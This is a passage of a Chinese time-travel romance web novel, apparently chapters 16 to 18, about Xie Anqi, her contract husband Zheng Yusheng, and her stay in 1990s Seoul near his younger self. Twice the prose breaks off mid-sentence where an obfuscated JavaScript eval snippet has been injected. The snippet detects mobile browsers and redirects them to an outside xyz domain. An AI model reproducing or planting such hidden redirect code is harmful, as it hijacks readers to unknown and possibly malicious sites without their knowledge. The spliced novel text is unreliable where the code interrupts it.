她看着他把相机一一拆封、组装、装脚架,动作安静又利落。 那一瞬间,她忽然想起在过去的某个清晨,少年他也是这么沉默地装设备。 阳光从窗帘缝里落在他肩膀上,他转身时问她:“你觉得我能拍出好片吗?” 那时她没答,只是轻轻点头。 现在,她也没说话。 她总是想要找办法跟他确认着如何回到过去,谢安琪也不知道自己是为什么这样,就好像没能回到过去见到年轻的他,是非常糟糕的事情。 但问他是不是还有着过去的记忆呢?她怕说出口,那些回忆就会反过来质问她——你是来找现在的他,还是来对照你记忆里的少年? …… 傍晚拍摄第一站,是渔村旧街上的“时间邮局”。 那是一处将老邮政所改造的艺术展示空间,门口挂着五颜六色的布旗,里面陈列的是旅人寄不出去的信、匿名日记、以及各国语言的录音剪辑。 谢安琪负责录音设备。 她把话筒架在门厅旧木架上,静静听那段播放着的胶片录音: “……? ????, ??? ??? ??? ??? ??……”(我希望,我的声音,哪怕过了时间,也能抵达你。) 她怔了怔。 郑禹胜站在她身后,也没出声。 他们一同听完整段录音,谁也没有说话。 直到她收拾设备时,他忽然低声问她:“你听见这种话,会相信吗?” 谢安琪回头:“你是说,声音会穿越时间?” “声音、情绪、记忆。”他顿了顿,“甚至一个人对另一个人的喜欢。” 她没回答,只垂眼继续收线。 因为她不知道怎么回应—— 她是真的穿越过时间的那个人。 而他,是那个站在她时间尽头的人。 …… 回到民宿时,天色已经沉下去。 厨房里弥漫着泡菜锅的辣香味,拍摄组几个人正围在饭桌边吃晚饭,偶尔有人举杯碰碗,笑声从厨房飘进客厅。 谢安琪把录音包放回二楼房间后,没有下楼。 她靠着阳台门坐了一会儿,望着外面被夜色吞没的海,风吹过来,像一层没说出口的情绪,擦着皮肤拂过去。 郑禹胜走进来时,她正靠在沙发上看设备电量,一只手托着下巴,像是在想什么,又像只是太安静了。 “你不饿?”他问。 她摇头:“不想下楼。” 他没再劝,走过去拉了窗帘。 “明天要去灯塔那边,早上有光影。”他说。 她轻轻点头:“知道了。” 他坐在床沿看她。 谢安琪像是忽然感觉到了,抬头。 “你是不是……”她话没说完。 郑禹胜静静望着她,眼神没有波澜:“什么?” 她低头避开他的视线,过了几秒,说:“没什么。” 他没追问,只是起身拿水杯。她在他背影落下的那一刻,几乎就要喊出那句: ——你记得吗? ——你有没有,在某些时候,也想起那个码头、那场旧琴声? 可她没问。 不是因为没勇气,而是她突然明白了,如果答案是“没有”,那她维持的、那个悄无声息的梦,那种充斥在身边绝对的情绪和快乐,都会在一瞬间坍塌。 她宁愿不知。 宁愿保持这场沉默的平衡。 …… 夜里,她失眠了。 楼下拍摄组渐渐安静,厨房灯灭,风把窗帘吹得轻轻晃动,像是在房间里制造一种假象——有人走过来,又离开。 她坐在沙发上,抱着膝盖,脑袋埋在手臂里。 手机屏幕亮着,她在听一段录音,是少年郑禹胜曾在那年旧时空里为她哼唱的一段旋律。 录音中夹杂风声、脚步声,还有他低低的嗓音:“我不确定未来是什么,但你要是在那里等我,我就不怕了。” 她眼眶一热。 郑禹胜从浴室出来,看见的就是这个画面。 她坐在沙发上,缩成一团,肩膀微微抖着,像在忍住什么。 他没走过去。 只是静静站在门边,注视着她很久。 风又吹了一次窗帘。 他终于走过去,把一件自己的夹克披到她肩上。 “别听了。”他说。 她抬起头,眼睛有些红。 “我只是……剪辑素材。”她轻声说,他没拆穿,蹲下来看着她:“你很怕我知道你在哭。” 她吸了吸鼻子,没有回答。 郑禹胜低头,声音更轻:“你怕的不是我知道你哭,是我知道你为什么哭。” 谢安琪手指收紧。或者他知道了?还是,他也在梦里,来过一次她来过的时间,她想问:“你真的记得吗?” 但她没有问。而他,也没有再说下去。 …… 次日上午,灯塔取景。 这是一个被废弃的航标塔,孤零零地立在海崖尽头。夏季时这里会作为展览空间开放,冬季则完全空置。 阳光从东面斜照过来,地面被玻璃碎片反射出点点光斑,像落在沙上的旧年时光。 谢安琪提着录音包,一步步踩进光线中。 郑禹胜跟在她身后,两人没说话,但节奏一致。 “这里以前真有人住吗?”她轻声问。 “小时候我来过。”他说。 她抬头。 他站在她身后不远的地方,眼神望着远方,没有聚焦。 “我和朋友一起来过,那时候还没封。”他说,“我在这儿拍过一次照片,后来带去做模特介绍的资料了。” 她心一跳。 照片。 她记得那段——在她“穿回去”的时候,就是那个画面:少年郑禹胜站在阳台边,镜头晃得厉害,他说:“镜头很小,但我想留下的东西很大。” 那是她在他过去见到的某个记忆深刻片段。 她没说话,只轻轻握紧了手里的录音笔。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490544|169893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郑禹胜忽然转头看她。 “你是不是……”他顿住了。 谢安琪也看着他,心跳剧烈。 他张口,又慢慢闭上:“没事。” 她知道他快说出口了。 但他忍住了。 他怕说出来之后,她的眼睛就不再看现在的他。 …… 午后小雨。 拍摄结束回到民宿,天已经灰下来。 她拿出记事本补录台词设计,写着写着,忽然发现自己在本子角落画了一只戴耳机的黑猫。 那是少年郑禹胜在笔记本上常画的——他曾说,“黑猫听音乐的时候不会叫,但它会记住旋律。” 她望着那张涂鸦怔了好一会儿。 外面下雨了,风吹得屋檐噼啪作响。 她合上本子,走到窗前,看见郑禹胜一个人坐在民宿门口的台阶上,撑着伞,烟在指尖燃得昏暗。 她迟疑了一下,还是拿了伞下楼。 走到他身边时,他没转头。 她递出伞:“借你这个,别淋感冒了。” 他抽完那口烟,淡淡道:“你这个关心的话,我好像听过。” 她心脏猛地一震。 他接过伞,手指贴到她掌心:“以前也有个人跟我这样说,不过她早就离开很久了。” 她失语。 他看她,目光沉得像落雨的深海。 “你不问我是谁?”他说,“还是你怕自己知道什么心里会难受?” …… 两人站在雨里,谁也没说话 伞落在他手中,雨水沿着伞骨滴落。 谢安琪终于开口:“你说对了。” “我不问,是因为我觉得那都是过去的事情。谁都会有过去的事情,因为那样我会分不清,而现在三年内,你和我是在一起的。” 谢安琪继续道。 “可我怕你三年后离开。那样,我就真的一个人了。”郑禹胜说完这些,像是用了很大的力气。没等她的回答,郑禹胜喉结滚动,低声问:“那现在你知道了吗?” 谢安琪摇头,眼神清澈却又迟疑:“我不知道。” “但我愿意试着喜欢你现在的样子。” 他低头亲了亲她手指。 很轻。 像是吻落在掌心的某段旧年时光,又像是——他终于对她现在的靠近,低头回应。 晚上,他们回到房间时,拍摄组的几位成员还在一楼酒吧区域聊天。 谢安琪换好衣服后窝在窗边看素材,郑禹胜坐在藤椅上翻拍摄表格,一人一角,光线柔和,像是心照不宣地维持某种沉默的亲密。 “你明天几点想走?”他忽然问。 “八点出发?”她抬头,“灯塔那边早上会有潮光。” 他点点头:“我订了返程船票,中午回。” “你还有通告?”她问。 “有。”他顿了顿,“你愿意……晚点回吗?” 谢安琪微微一怔。 “我想多拍一点你。”他说,语气极轻,“不是当演员的我,是……和你在一起的我。” 她心里像被什么重重压了一下。 “你不是说,在外面我们不能太亲近。”她试探地道。 “明天他们都不在。”他轻声,“而且我知道我不想离你太远。” 她想笑,可鼻尖却发酸。 她没说好,也没说不好。 只是走过去,把平板递给他。 “你要拍,就拍这一段吧。” 屏幕上是那段他们在邮局门口听的录音,她悄悄剪了一个版本,把两人的背影拼在一起,配了一句字幕:“我没说出你是谁,但你总是走进我听得最清楚的那段。” 他看着那段画面,半晌没说话。然后他低头,像是确认什么一样,伸手扣住她的手腕,拉过她靠在自己的肩膀,就像是以前她愿意让他依靠一样。 次日,天还没亮,窗外潮湿的风带着咸意吹进来,她醒得早,想去楼下再采一组无人街巷的晨声。 郑禹胜坐在楼梯转角处,像是早就等着她。 “你也睡不着?” 她点头。 他走过去,替她拉好风衣领口,然后什么也没说,就低头吻了她。 不是那种猛烈的情欲之吻,而是像他真的等了太久,在她终于靠近他现实的这一刻,不再装作若无其事。 她回应了。 手扣住他后颈,眼睛轻轻闭上,像是放下某种防备。 那是他们婚后第一次真正亲吻,不是合约内容里的仪式性互动,也不是表演,也不是酒带来的冲动,像是清晨的突如其来的风雨后冒头的阳光,出奇地奇妙。 …… 早上的灯塔拍摄出奇地顺利。 他们并排坐在崖边,拍最后一场素材。 镜头拍下去时,两人身影靠得极近,她拿着录音笔,他撑着膝盖望远,谁也没看谁,但谁都知道——那个画面,像是这段关系的注脚:无法言说,但始终同行。 手里拿着平板确认内容,谢安琪转过头连着问起来:“要删掉吗?” “不要删。”郑禹胜说。 “你不怕别人看出来?” 他侧头看她,语气安静:“我不怕你被看见。” 她心跳慢了一拍。 这句话,他曾在她第一次回到过去时也说过。 只不过那时他说的是:“你怕被人看见吗?我不怕。” 她眼睛有些发涩:“你知道你说过这句话?” “我说过吗?”他轻笑一声,“我忘了。” 但她知道他没忘。 他只是,终于愿意假装自己也记得。 17.第17章 中午他们回港口。 站在船边时,谢安琪看着那艘慢慢靠岸的渡轮,有些不舍。 她握着相机,迟迟没有动。 郑禹胜站在她身后,轻声问:“你会回去吗?” 她一愣:“回哪?” 他没有说“过去”两个字,只看着她。 她低头轻笑了一下:“如果你在,我就不回去。” 他说:“那我会一直在。” 她轻轻握住了他的手,像是对他说,也像是对自己说: “我也会。” 风把他们的影子拉得很长,在港口的栏杆上晃来晃去。 他们没有回头。 这次他们决定,不再留在梦里。 晚上回到首尔。 谢安琪还是回了宿舍。 KCpany的人并不知道她和郑禹胜的婚姻合约,也不知道他们在济州岛到底发生了什么。 她回到房间,脱下风衣,看着窗边那张写有拍摄计划的便利贴,忽然觉得很久没有这样踏实地想一个人的存在。 而不是他带来的记忆。 也不是他在她梦里留下的残影。 而是现在的他,会生气、会吃醋、会因她的一句“不问”而失落的郑禹胜。 手机响了一下。 是他发来的照片。 是他们在灯塔前的合照,他偷拍的。 她点开,笑了,回了一句:“我现在开始也会拍你,不是分析你,是喜欢你。” 过了一会儿,他回:“终于是现在的我了。” …… 屋塔房的窗子没有遮阳帘,只贴了一张从便利店拿来的老报纸,角落卷起了一点,糊得不严,阳光还是透进来。 谢安琪站在洗手间那面斑驳的镜子前,绑头发。她手指一下一下地绕着橡皮筋,动作不急,仿佛多出的一圈圈,是在给自己增加一些朝向现实的时间。 外面热得像是在炙铁板。屋顶的金属瓦吸热后烫得发亮,空气像蒸汽,一层一层往屋子里灌。 她早上七点醒,躺了两个小时,才下定决心起来洗脸。 手巾湿得很快。 水龙头的水不冷,是被楼顶水箱晒了一夜的热。她把毛巾拧干,在颈后压了几下,又擦了一遍前额。 一只黑猫站在对面屋檐上,懒洋洋地盯着她的窗台。 她冲它点了点头:“你也热得快化了吧。” 黑猫不动,只在她转身之后,甩了甩尾巴,跳进一旁更凉的水泥缝。 她重新走回屋子,坐在地板上,打开电扇。电扇“咔哒”一声响,叶片带着哼哼声慢慢转动,像人的呼吸不顺。 谢安琪看着电扇吹动起地板上几张旧收据。 她没急着收。手指捻起其中一张,泛黄,油墨模糊,却依稀能辨出“中浪区不动产”那几个字。 那是她来这个时代之后的第一笔正式支出。 总共一千六百万韩元,2026年的旧基金账户里,换算下来大约是不到一万美元。 她用这笔“研究备用金”,在这个时代,买下了两间顶楼相邻的屋塔房——一间自住,一间租出。 产权转移过程意外地顺利。 九十年代初,身份和资金来源审查极不严,尤其是这种老房交易,只需要和一个愿意“收手续费代办”的中间人说几句话。 她没说谎,但也没全说。 说自己是从华国来首尔文化交流的调研助理,老师是“成均馆大学的朴教授”。 这个名字她在未来资料里见过——某年首尔文化研究里提过一嘴,现在没人记得。 她自己也清楚,一张纸就能决定她能不能留下。 那天下午办完手续后,她一口气喝了两瓶冰矿泉水,又吃掉整盒紫菜饭团,才算真正在这时代坐下。 没有时间机器,也没有解释逻辑。 本来只是坐飞机回家,她也没想到在飞机上睡着醒来,就出现在这个时代,应该庆幸这附近还没有什么监控,但她从2018年被拉了进来的原因,谢安琪还是感到疑惑。 她和郑禹胜的亲近竟然不是回到过去的契机,那到底什么才是契机? 现在还没有答案,而现在没有人强迫她留在这里。但她没走。 她想回到这里。她想回到——他还没出名、还会饿肚子、还在屋顶抽烟弹琴的日子里。 哪怕只是远远地看着。 她也愿意。 谢安琪第一次“看见”他,是隔了三天。 天气还是热,热得发黏。 下午四点,她躺在地板上看本子,被对面窗户玻璃上映出来的身影吓了一跳。 那是个青年,瘦高,穿黑T恤,背影笔直。他他背着一箱啤酒从巷子里出来,汗水打湿了T恤领口,背影被阳光切得分明。人从巷口转出来,拖着一箱啤酒罐,手拎着的袋子从指节勒到掌心,皮肤发红。那是一种特别清晰的年轻人轮廓,肩膀窄直,腿长,走路不快也不慢,像是从不急于回应这个世界。头发没做造型,黑色贴在额前,皮肤并不白,却带点灰冷色的清瘦感。他抬头时,阳光在睫毛上跳了一下,眼神有点困,又像从不信任人。 他没进便利店,反而把啤酒箱搁在一边,转身又进了巷口杂货行,像是去搬下一趟。 她看着那人走进光线更暗的巷口,心里猛然生出一股不安。 脚底像被烫了一下。 好像这是一个,他还不认识她的时候? …… 那天傍晚,她又看见了他。屋顶风大,他坐在水塔旁边,点了一根烟,一瞬间,火光映亮了他下颌的线条,那骨架干净得像没被打磨过的石膏模。烟雾遮住他眼睛的一半,但看得出来,那眼神是空的,或者说,太安静了。安静得像他一早就知道自己要和谁道别,也知道没人会留下来。 抽完烟,他就走了下去,人站在屋塔房楼下,低头整理木箱,T恤领口被汗浸透,脖子侧面是一条几乎贴皮肤的锁骨弧线,手背处,有新伤。 那是被瓶盖割开的,伤口浅,但流血。 她不知道自己哪里来的冲动,从屋里拿了张贴纸绷带,走下去。 她站在他身后三步的地方,声音不高:“喂。” 他转头,脸朝着夕阳,眯着眼,看了她一秒。 那眼神像她在梦里见过的,安静、冷淡、带点警觉。 谢安琪顿了顿,伸手,把那张创可贴递过去。 他说:“……谢谢。” 声音低、干,带点鼻音,可能是太累了。 她没应声,只低头转身,步子有点快。 不是因为害羞,也不是因为紧张。 是因为她心跳太快。 快得像每次穿越前的那几秒钟。 她捏着自己的手指头,走进屋塔房,门一合上,整个人靠着墙蹲了下来。 空气又闷又热,但她只觉得身上有种莫名的凉意。 ——她回来了。 但这一次,她不知道,是哪一段时间线。 他认得她吗?他有没有认得她? 她不敢问,也不敢再看他。 怕她还没找到答案,时钟就又把她推回现实。 夜里十一点,屋顶热得像铁皮锅盖。谢安琪在房间里来回走了两圈,才勉强忍住拉门出去透气的冲动。 她把扇子往桌上一放,坐在窗边,把脸贴近玻璃。 窗外没有月亮,远处的路灯影像被风吹得轻颤,像是挂在天幕上的小纸灯,随时会熄。 她看见他了。 郑禹胜坐在屋顶西边最靠近水塔的地方,身后是一堵半高的白墙。他靠着那堵墙,一条腿蜷着,手里是那天搬货时也带着的旧帆布包,打开了一半,像是从里面掏出了一个琴盒。他动作很慢,像是犹豫,又像是疲惫。 几分钟后,她听见一点极微弱的琴声。 她不确定那是不是他弹的,但节奏像他,说不上来从哪种意义上——冷、准、稍稍带着点虚空的回音。 不像练习,倒像某种自言自语。 她没敢推门出去,只是悄悄关了灯,隔着半张旧玻璃窗,静静地听着。 这一夜她没做梦。也没有穿回去。 第二天早上醒来,她发现手边多了两样东西。 一张便利贴,是昨晚她做录音整理时随手写下的;还有一支旧圆珠笔,笔壳上的名字是“Kyunghui High School”。 那是他所在的夜校名字。 她记得,她回到枕边,把笔捧在掌心握了一会,才轻轻地放进包里,像收起一块温热的铁。 白天下雨了,谢安琪走去外面的时候,郑禹胜正走进来。 他身上有雨味,是刚刚收伞走进来的。衣服半干,贴着背,衬出一副略显瘦削的骨架。发尾湿了,水珠顺着鬓角往下滴,在他喉结处打了个圈,又滑进衣领。她从他身边走过去,郑禹胜没看她,只低头拨了拨前额的湿发。但她还是听见了他呼吸微沉的那一秒——像雨停前的空气,有些窒闷。 屋塔房没什么隔音,呼吸听得见,做饭的声音也一样。楼下是做小饭馆的房东,谢安琪最近都去楼下随便买点什么吃,这家店早上七点就开始备菜。大葱在案板上被剁得哒哒响,蒜味一股脑冲上来,夹着酱油炒肉的香。 一连几日,谢安琪都被这个声音叫醒。 谢安琪起得比平时晚。睁眼时阳光已经在她枕边铺开了一大块,她坐起来,手搭在窗沿上,看了眼外面。 郑禹胜不在屋顶。 风里飘着一点皂角味,像是有人刚洗过衣服。 她去洗手间洗脸,看见对面屋顶挂起了几件衣服,全是男款——黑T恤、灰色牛仔,领口旧但洗得干净。 她出门前在包里翻了翻,把昨天那支圆珠笔拿出来,犹豫了一下,没带走。 只把它放进了客厅抽屉的最深一层,压在一摞地图和胶卷下面。 她不想自己一整天都想着它。 但也不想忘。 …… 下午四点,她照例去附近的小型邮电所打电话。 电话厅的铁门生锈严重,轻轻一推就“吱呀”作响,柜台后面是个年纪不轻的女人,坐在风扇前打毛衣。 谢安琪投了两枚硬币,拨的是城西区一位“文化项目协调人”的号码——这个号码,是她用从未来带来的教授信笺伪造材料时附上的联系人信息。 她得打这个电话,以确认自己的居留申请有没有出问题。 但电话没人接。 她又拨了一次,还是空号。 她收起零钱,走出电话亭时正好看到便利店门前,那道熟悉的身影。 郑禹胜坐在门口的小板凳上,低头看手机。 不,是BP机。他在看BP机屏。 谢安琪站在马路斜对面,手指攥着包带,没动。 阳光落在他身上,像上一层微亮的褐金,他没穿黑T,而是件旧校服上衣,领口拉链坏了,用别针别住。BP机响了一下,他抬起头,朝马路那头看了一眼。 看得不快不慢,像是习惯性扫一圈,但就在那一瞬—— 他的眼睛,撞上了她。 谢安琪一秒没动。 郑禹胜眼神没有明显变化。他只是稍稍偏了头,像是不确定自己认没认错。 她立刻低头,快步转身。 像一块被阳光烧热的铁落进了心口,她不知道他是不是认得她。又或者是,她认得的,是另一个时间点的他。 这一次,他的眼神里没有“确定”,没有靠近。 只是静静地看了她一眼,然后继续低头看BP机。 但那一眼,比一句话还沉。 …… 晚饭时间,她还是去了楼下小饭馆。 点了一份冷面和一碟海苔包饭,她没看窗外,但她听见了脚步声。 那种略带疲惫、鞋底和水泥摩擦声有些实。 紧接着是有人靠近柜台的声音,店主和人说:“你上次那包还欠着八百。” 男人声音不高:“今天结了。” 她听得出是他。 她没回头。只是低头咬了一口海苔包饭。 窗外的蝉鸣一波一波地叫,声音有些破,有点像二十年前的收音机。 等她吃完准备结账时,店主对她说:“刚才那位小伙子替你结了。” 她怔了一下:“……我不认识他。” “他说你是他房东。” “我不是。”她声音有些发紧,“我们只是住得近。” 店主笑了一下没说话。 她掏出钱硬是放下,走出店门,夜风迎面吹来时才缓过劲。 那一刻她想起2018年的一次穿越,那时候她还有勇气抓着他主动喊着他的名字,但现在她想到他也帮她买过东西——是一瓶便利店的牛奶,说是“顺手”。 她那时候笑着说“你别这么破费”,他没吭声,只把牛奶推过来,说了句:“你以后会还的。” 现在,她不知道这是哪一次。 也许他们过去在别的时间线也说过一样的话,但她只记得他的语气——不带期待,不要回应,只是让人接受。 …… 回屋之后她洗了个澡,拧干毛巾,开了窗。 夜风不大,屋顶还有几盏灯在亮,稀稀落落的。 她坐在床边擦头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504676|169893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发,头发还没擦干,门口就响了一声。 “嗒。” 像是有人用指节敲了敲门,又像是谁不小心碰到墙。 她走过去,从猫眼里看。 没人。 但门缝下,躺着一个纸袋。 她打开,里面是几块新的创可贴,还有一张便利店的小票,金额不大,只写着“绷带x1,水x2”。 她想了想,把小票叠了三层,夹在本里。而郑禹胜站在马路对面,身影被街灯拉得很长。风吹起他衬衫衣角,他站得笔直,像不小心停在这个时代里的人。风吹过她脖颈,头发还滴着水。她走回窗边,重新坐下。 楼下的人影已经不见,她不确定他会不会再来,也不确定——这个屋塔房的夏天,是她第一次来,还是已经迟到了几次。 …… 谢安琪有些睡不着。 屋里太静了。屋外也太静了。 她躺在床上听着老旧电扇的吱呀声,一遍一遍地数着它的转圈,数到第十五圈的时候,电扇忽然停了一下,又转了回去,像是在反抗这一晚的沉闷。 她闭着眼,脑子却很清醒。 她知道明天自己该去一趟移民局,她的身份文件必须更新——那是伪造的那一部分,需要以“文化研究助理”的名义补交一份居留理由申请。理论上不难,只要她从未来带来的那封“朴教授”推荐信足够像真的。 她也知道,屋塔房的房产税单快到了——这个时代的老房没有系统催缴,只能靠每月主动走到税务所。 她都记得,但她还是没动,像是没法从这一天抽身,像是这个夜晚哪里还有她没看清的东西。 她脑子里一直晃着他的眼神——在便利店门口、在冷面馆柜台旁、在屋顶抽烟的白墙下。 那眼神有时是空的,有时是疑问,有时什么都没有。 而她却总在那之后,退了一步。 像一个明明熟知路线的人,却不敢走进去。 因为她不确定,这是不是一场重演。 也不确定,他是否已经记得她。 …… 清晨四点多,她醒来,是热醒的,汗贴着后背,像一层薄膜把她困在当下。 她拿起桌边的记录本,写下几个字:“如果他记得我,他为什么不问。如果他不记得我,我又该怎么回答自己?” 她没写下去,合上笔。 屋子太安静了,她索性披了件衬衫出门,屋顶没什么人,清晨的风意外地凉,像是在补偿昨晚的沉闷。 她站在屋边,目光落在西边那扇常年不关的窗户上。 郑禹胜的屋塔房。 窗户没亮,屋里一片暗,她正要回头,身后传来脚步声。 “你起得很早。”他声音低哑,带点刚醒的微沙。 她没有回头:“你也是。” “我看见你上来了。” “我看见你没关窗。” “你一直这样看人?” 谢安琪终于回头,眼神温和,语气轻:“你不是陌生人。” 他愣了一下,点点头。 两人沉默地站了一会,风吹得天边泛白。 “昨天那个绷带,不是我给的。”他忽然说。 她看他一眼。 他垂着眼,语气平静:“是我哥。他来找我,把东西放在你门口。” 谢安琪没说话,只是嗯了一声。 “你不信?” “信。”她勉强笑了一下,“反正也没什么。” “你怕我误会你喜欢我?” “你怕我不喜欢你。” 他没答。 只是从口袋里掏出一颗薄荷糖,扔进嘴里,咬得轻响,天光一点点亮起来,像是有人在大地上泼了薄牛奶。 他们没再说话。 …… 上午十点,太阳又晒上来了。 谢安琪回屋时,门上贴着一张税务通知单——催缴七月物业税。 她把它揭下来,看了一眼,轻轻放在桌上。 她很快就出门。 带着资料袋、胶卷、□□和推荐信,往城南方向走。 今天她要把身份更新的申请寄出去,然后回中浪区的剧场找采访对象。 她计划得很细致。 但走到小巷拐角的时候,还是看见他了。 郑禹胜站在巷子口,穿着那件洗得发白的衬衫,脚边是一个帆布包。 他没看她。 他在看墙角的海报——是个脱落一半的宣传画,上面写着:“XX模特拍摄报名”。 她脚步停了一下,然后继续走。 他没有追,也没有喊她。 但她知道,这段日子,她不会是一个旁观者,就像过去的她只能在影像里看见他,而现在的她,可以出现在他的现实里。 只是还不能走近,他们之间,隔着一段时间,也隔着太多重叠的记忆。 …… 回程路上,她在邮局门口站了很久,邮局门口有张旧木椅,阳光把椅背烤得发烫。 她没坐。 只是站着,把信封投进去那一刻,突然生出一种古怪的恍惚感。 像是做了什么不可逆的决定。 她知道这份“研究人员备案信”会保她三个月的身份安全。 但三个月之后呢? 她是留下,还是离开? 是等他看见她,还是就这样一遍遍回到这些片段里,直到她自己也分不清——他记得的她,是哪一个版本,她深吸一口气,把手插进口袋,指尖碰到那支圆珠笔。 是那天他留下的。 她重新把它捏出来,看了好一会,像是在看一支信号灯。 最后收进包里。 天又开始热了。 风吹过信箱的时候,像从未来的某个路口,吹回来的一声叹息。 …… 晚上九点半,电扇转得越来越慢。 谢安琪窝在地板上写今日记录。 写到一半,她停了笔。 她忽然很想,哪怕只有一次,问他:“你记得我吗?” 可她也知道,她不会问,就像谢安琪不知道,某个时间点的郑禹胜也曾很想问她这个问题。 因为她怕答案一旦被确认,梦就醒了,而她,一直站在这场梦和现实的门槛上。 她靠着墙睡着了。 风从窗子吹进来,拂过她额前发丝。 梦里没有什么声音,只有一段吉他的前奏,断断续续,从屋顶的水泥缝里飘下来。 她没醒。 但她听到了。 ——像是他在另一个世界里说:“你来了,那我就不怕了。” 18.第18章 清晨的屋塔房很静。 那种静不是没有声音,而是只剩“屋塔房才有的声音”:雨后瓦片滴水,老木门关不严,风掠过水泥砌顶边缘时发出低低的“呜”声,楼下厨房起灶火的咔哒声,和不远处市场送货车压过井盖的咚声。 中午十二点,空气是黏的,窗玻璃仿佛被太阳握住,蒸得泛白。屋内天花板不高,风扇叶片咔哒转动,吹出的风也带着焦味。 老木地板吸了整日阳光,踩上去是烫的,指尖一碰就要缩回。远处锅贴摊的铁板声断断续续地敲进来,像谁在用铁勺子慢慢刮锅底。 谢安琪坐在床边,贴了半张膏药的后颈有点黏。她从屋檐边探出半张脸,看见晾衣杆上的T恤被风吹起一角。 是他的。那件黑T恤,洗过了,变旧得发灰。 郑禹胜的窗还开着,房间里透出一点金属碰撞的声音,像是他在收拾工具。她没看过去,手里攥着一支笔,不知道什么时候才松开。 她昨晚安安静静地呆了一晚,怕弄出动静——怕他听见,不是怕他会不高兴,而是怕他听见后,以为她在刻意关注他。 她靠在窗边看着早晨的天一点一点变亮,像是把时间拧慢了:从清灰色的天光到蛋白色的云层,再到淡蓝色的城市屋顶。 人也清醒得慢。 就像她和他之间的“认识”,慢得几乎像从陌生开始。 但她知道不是。 …… 屋顶的风来得迟缓,掠过水塔和晾衣杆时发出一连串喃语。西边天色橙得发红,胡同尽头的小超市门口挂着的塑料帘子被风一下一下掀起,像谁不耐烦地撩开回忆。 几只麻雀停在邻房的天线杆上,叫得不紧不慢,像旧收音机的背景声。风吹过晒了一天的被子,带来一点洗衣粉和旧棉布混合的味道。谢安琪清晨喜欢坐在这里发呆,直到肌肤逐渐忍受不了炎热,她才起身下楼买早餐时,碰巧和他在胡同口遇上。 郑禹胜背着帆布袋,袋口露出一卷画纸,不知道要做什么的。 他走得不快,眼神朝她那边扫了一下,但没停,她站住,指了指他手里的板子:“今天不上班?” 他看她一眼,点了点头:“换班了,换着时间上班。” “咖啡店离这里很近吗?” “还行吧。”他说完,又加了句,“反正远近也没什么不同了。”话落得干净。 她跟上他半步,又不太想太快追上,阳光从头顶斜斜落下,在墙上印出两人影子,一长一短。她眼角看着,忽然有点晃神。 他走在前面,左肩背着画板,影子被风切得有点虚,像以前那个录像里的他,没什么不同。可那段录像里的他,从没回过头。 她忽然开口:“你好像会弹琴?最近是在学中提琴?” 他像是没想到她会问这个,微微顿了一下,说:“没学了。” 她轻轻笑:“挺意外的。” 他没回头:“哪里意外?” “你看起来挺像抓了机会就会学习的人。” 郑禹胜没答,只是脚步顿了顿,像在想着要不要反驳。 她又说:“那是夸奖。” 他终于偏头,看了她一眼,嘴角没笑,但眉心松了一点:“那谢谢。” 回到屋塔房后,她把早餐摆在阳台边的小桌上,泡菜饭团和一杯冰牛奶——这是她在这个时代最容易适应的早饭。 她没关窗,风吹进来,带着楼下晒被子的阳光味。还有一点没干透的洗衣水味,混着洗衣粉和石灰墙的潮湿,黏在空气里。 她对着那盒饭团发呆了十分钟,最后没吃几口。 她脑子里还是上午那几分钟的场景。 郑禹胜走在她前面,背有点沉,他的耳朵被阳光照出微红,侧脸像是剪影,一动不动。他回答问题时语气平,但每句都像没在预设任何反应。他不像是对话者,更像是默许你“在他面前自说自话”。 她忽然很想知道——他是不是一直都是这个样子,还是只有在这一条时间线上,他还没来得及“热起来”。 她在本子上写下:“郑禹胜·温度未定。” 笔迹歪歪斜斜,像她对他的判断。 …… 她计划午后去邮局打了一通电话,这个时代不能随便用公用电话拨长途,要登记护照号,她用了那张伪造文件上的“文化助理”身份,填了一张纸。邮局的玻璃窗有点花,夏天贴了塑料纸防晒,颜色偏蓝。 她拨出那串号码时,手指是微抖的。 这是她在2026年找到的那个教授——她资料伪造的来源,也是她“能留下来”的唯一依靠。 电话响了三声,对方接起来,是女人。 她轻声问:“朴仁洙教授在吗?” 对面说:“不在。” “你知道什么时候回来?” “他最近不太在学校。”女人声音不快不慢,“你是哪位?” “我是他研究调研计划的学生。”她尽力让语气平稳,“华国派的。” 女人顿了两秒,说:“我知道这件事了。他交代过,资料如果是调研用的,可以留。” 她终于呼出一口气:“谢谢您。” 电话挂断时,她把那张纸握成一团。 风在邮局门口转了一下,吹得她裙角乱摆。 她站在门口站了好一会儿,才走出去。 她忽然想到,如果自己没有这些预先准备的资料,如果她只是毫无准备地被扔来——那现在的她,会在哪里? 在屋塔房里被查无身份? 还是根本就见不到他? 她站在巷口,抬头看了一眼天,天蓝得发白,像一张未干的水粉纸,但是回去走没几步路就下起雨,谢安琪走进便利店等着,直到雨停。下过雨的巷子比平时更静。积水滞在不平的水泥地面上,映出高压电线和铁皮雨棚的倒影。便利店门前堆着没收进的啤酒箱,路边是倒着晾晒的三轮车篷布。 整条街像被一张透明的塑料布盖住了,声音闷,连电动车路过时轮胎碾水的声音都变得迟缓。 